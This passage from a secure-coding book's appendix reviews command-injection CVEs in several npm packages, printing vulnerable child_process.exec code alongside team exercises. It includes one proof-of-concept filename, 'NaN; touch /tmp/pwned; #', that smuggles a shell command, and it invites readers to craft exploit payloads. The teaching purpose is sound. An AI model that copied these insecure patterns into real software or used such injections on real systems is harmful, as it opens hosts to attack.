4. Describe several ways to fix this vulnerability.

5. What is the ideal fix for this vulnerability?

6. How did the library maintainer fix this vulnerability?

98 | Chapter 10. Appendix


10.2.4. Vulnerable versionn

The versionn npm package is a library for managing version numbers for Node.js projects packaged as
npm modules.

The CVE-2023-25805 security advisory published on February 19th, 2023, describes a command injection
vulnerability in the gitfn.js file of the versionn library. The vulnerability is caused by an insecure use
of the child_process.exec function to commit and tag the version number. This security vulnerability
was fixed in version 1.1.0.

The vulnerable version of the versionn npm package is as follows:

versionn/lib/gitfn.js

var child = require('child_process')

function GitFn (version, options) {


this._version = version
this._options = {
cwd: options.dir,
env: process.env,
setsid: false,
stdio: [0, 1, 2]
}
}
module.exports = GitFn

GitFn.prototype = {
tag: function (cb) {
var cmd = ['git', 'tag', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
untag: function (cb) {
var cmd = ['git', 'tag', '-d', 'v' + this._version].join(' ')
this._exec(cmd, cb)
},
commit: function (cb) {
var cmd = ['git', 'commit', '-am', '"' + this._version + '"'].join(' ')
this._exec(cmd, cb)
},
_exec: function (cmd, cb) {
child.exec(cmd, this._options, cb)
}
}

Chapter 10. Appendix | 99


Exercises

For your team to become more aware of application security, I recommend the following exercises:

1. Can developers on your team identify and explain the primary reason for the vulnerability?

2. Can developers in your team suggest which alternative Node.js APIs should be used instead, to
mitigate the command injection vulnerability?

3. Was this security vulnerability fixed on time?

4. Review the security fixes and discuss:

a. Is the technique used to fix the vulnerability the best approach? How else could the vulnerability
have been fixed?

b. What else can you learn from the security fix? Hint: Software testing is a key part of software
development

100 | Chapter 10. Appendix


10.2.5. Vulnerable gry

The gry npm package is a library providing a wrapper for the git command line tool.

The CVE-2020-36650 security advisory published on January 11th, 2023, describes a command injection
vulnerability in the gry library. The following vulnerability was fixed in version 6.0.0:

gry/lib/index.js

/**
* exec
* Executes a git command in the repository directory.
*
* @name exec
* @function
* @param {String} command The git command that should be executed in the
repository directory.
* @param {Array} args An array of options passed to the spawned process. This
is optional (if not provided, `exec` will be used instead).
* @param {Function} callback The callback function.
* @return {Gry} The `Gry` instance.
*/
exec (command, args, callback) {

// Handle spawn
if (Array.isArray(args)) {
eargs.push("git", [command].concat(args));
} else {
eargs.push("git " + command.trim());
}

Exercises

To engage your team in application security, try these exercises:

1. What is different about this command injection vulnerability compared to other packages and their
use of the child_process API? What can you learn from this?

2. What can you learn about the project’s health?

3. How was this security vulnerability found?

4. How does this security vulnerability impact the package’s popularity and reach?

Chapter 10. Appendix | 101


10.2.6. Vulnerable global-modules-path

The global-modules-path project is a popular npm package that provides a way to get the path to the
global node_modules directory. As of this writing, the package has over 134,244 weekly downloads.

The CVE-2022-21191 security advisory published on January 13th, 2023, describes a command injection
vulnerability in the global-modules-path library and was fixed in version 3.0.0.

global-modules-path/lib/index.js

const childProcess = require("child_process"),

const getNpmPrefix = (pathToNpm) => {


try {
const npmPrefixStdout = childProcess.execSync(`${pathToNpm} config get
prefix`);
return npmPrefixStdout && npmPrefixStdout.toString().trim();
} catch (err) {
console.error(err.message);
}

return null;
};

const getPathFromExecutableNameOnNonWindows = (packageName, executableName)


=> {
try {
// Second way to find it is to use the result of which command
// It will give path to the executable, which is a symlink in fact, so we
can get the full path from it:

// whichResult: /usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib
// lsLResult: lrwxrwxrwx 1 rvladimirov rvladimirov 52 Oct 20 14:51
/usr/local/nvm/versions/node/v4.2.1/bin/mobile-cli-lib ->
../lib/node_modules/mobile-cli-lib/bin/common-lib.js
const whichResult = (childProcess.execSync(`which ${executableName}`) ||
"").toString().trim(),
lsLResult = (childProcess.execSync(`ls -l \`which ${executableName}
\``) || "").toString().trim();
}
};

102 | Chapter 10. Appendix


Exercises

You can engage your team in application security by doing the following exercises:

1. What can you learn from the CVE report ID?

2. What can you learn about the package’s dependent packages? How did that change between major
versions 2.x and 3.x? What can you learn from that about vulnerable dependencies?

3. How did the maintainer fix the vulnerability? What can you learn from the fix?

Chapter 10. Appendix | 103


10.2.7. Vulnerable semver-tags

The semver-tags npm package is a library that provides an API to list tags from a Git or Subversion
source code repository.

The CVE-2022-25853 security advisory published on February 6th, 2023, describes a command injection
vulnerability in the getGitTagsRemote function. This security issue was not yet fixed at the time of this
writing.

The following code snippet shows the vulnerable code across lines 21 to 35:

semver-tags/lib/get-tags.js

const cp = require('child_process')

const getGitTagsRemote = (path, cb) => {


cp.exec('git ls-remote --tags "' + path + '"', (err, stdout, stderr) => {
if (err) { cb(err) }
const tagList = stdout.trim()
.split('\n')
.map(l => {
if (/^\w+\s+refs\/tags\/(.*)$/.exec(l.trim())) {
return RegExp.$1
}
return null
})
.filter(t => t !== null)
cb(null, tagList)
})
}

Exercises

The following are recommended exercises to engage your team in the importance of application
security:

1. What can you tell us about the project’s dependency footprint?

2. What other functions in the library use Node.js APIs? Can you share insights into their security
aspects?

3. Can you suggest a payload to exploit this vulnerability?

4. How would you fix this vulnerability?

5. Can you find other functional issues in the code? Hint: error handling in getGitTagsRemote.

104 | Chapter 10. Appendix


6. Can you find other security issues in the code? Hint: is the RegEx test pattern in the main exported
module code strong enough?

10.2.8. Vulnerable s3-uploader

The s3-uploader npm package is a library that provides an API to upload image files to Amazon’s AWS
S3 service.

The CVE-2021-34084 security advisory published on June 3rd, 2022, describes a command injection
vulnerability in the package.

An attacker can pass a malicious filename to the upload function to exploit the vulnerability. The
following code snippet shows an example of a malicious filename that execute the touch command on a
Unix system:

var Upload = require('s3-uploader');


var client = new Upload('my_s3_bucket', {});
client.upload('NaN; touch /tmp/pwned; #', {}, function(err, versions, meta)
{});

The following code snippet shows parts of the original code:

s3-uploader/index.js

'use strict';

const fs = require('fs');
const extname = require('path').extname;
const S3 = require('aws-sdk').S3;

const auto = require('async').auto;


const each = require('async').each;
const map = require('async').map;
const uuid = require('uuid');

const resize = require('im-resize');


const metadata = require('im-metadata');

Image.prototype.start = function start(cb) {


auto({
metadata: this.getMetadata.bind(this, this.src),
dest: this.getDest.bind(this),
versions: ['metadata', this.resizeVersions.bind(this)],

Chapter 10. Appendix | 105


uploads: ['versions', 'dest', this.uploadVersions.bind(this)],
cleanup: ['uploads', this.removeVersions.bind(this)],
}, (err, results) => {
cb(err, results.uploads, results.metadata);
});
};

Upload.prototype.upload = function upload(src, opts, cb) {


const image = new Image(src, opts, this);
image.start(cb);
};

const Upload = function Upload(bucketName, opts) {


this.opts = opts || {};

if (!bucketName) {
throw new TypeError('Bucket name can not be undefined');
}

if (!this.opts.aws) { this.opts.aws = {}; }


if (!this.opts.aws.acl) { this.opts.aws.acl = 'private'; }

this.s3 = new S3(this.opts.aws);


return this;
};

module.exports = Upload;

Exercises

Given the above source code and knowledge of the vulnerable package:

1. Where is the vulnerability located?

2. Is this a false positive security report?

3. What can you learn about managing open-source dependencies from this vulnerability?

106 | Chapter 10. Appendix


10.3. CVEs in This Book
The following is a reference list of all the CVEs mentioned in this book. The CVEs are listed in the order
they are mentioned in the book:

CVE Library Year Vulnerable range


disclosed

CVE-2022- ungit 2022 ⇐0.8.4


25766

CVE-2022- simple- 2022 <3.3.0


24066 git

CVE-2022- git- 2022 *


24376 promise

CVE-2018- pdf- 2018 *


3757 image

CVE-2019- Strapi 2019 <<3.0.0-


19609 beta.17.8

CVE-2018- pullit 2018 <1.4.0


25083

[1] Python code snippet from SonarSource’s Code Security Advent Calendar: https://www.sonarsource.com/knowledge/code-
challenges/advent-calendar-2022
[2] Strapi project found vulnerable to command injection in CVE-2019-19609: https://security.snyk.io/vuln/SNYK-JS-STRAPI-536641
[3] smartctl npm package found vulnerable to command injection in CVE-2022-21810: https://security.snyk.io/vuln/SNYK-JS-
SMARTCTL-3175613
[4] git-promise npm package found vulnerable to command injection in CVE-2022-24376: https://security.snyk.io/vuln/SNYK-JS-
GITPROMISE-2434310
[5] nodemailer npm package found vulnerable to command injection in CVE-2020-7769: https://security.snyk.io/vuln/SNYK-JS-
NODEMAILER-1038834
[6] https://www.cisa.gov/news-events/ics-advisories/icsa-23-110-01
[7] https://nvd.nist.gov/vuln/detail/CVE-2020-2509
[8] https://www.cisa.gov/known-exploited-vulnerabilities-catalog
[9] https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a
[10] https://www.qnap.com/fr-fr/security-advisory/qsa-21-28
[11] CVE-2017-6361
[12] https://nvd.nist.gov/vuln/detail/CVE-2022-1388

Chapter 10. Appendix | 107

You might also like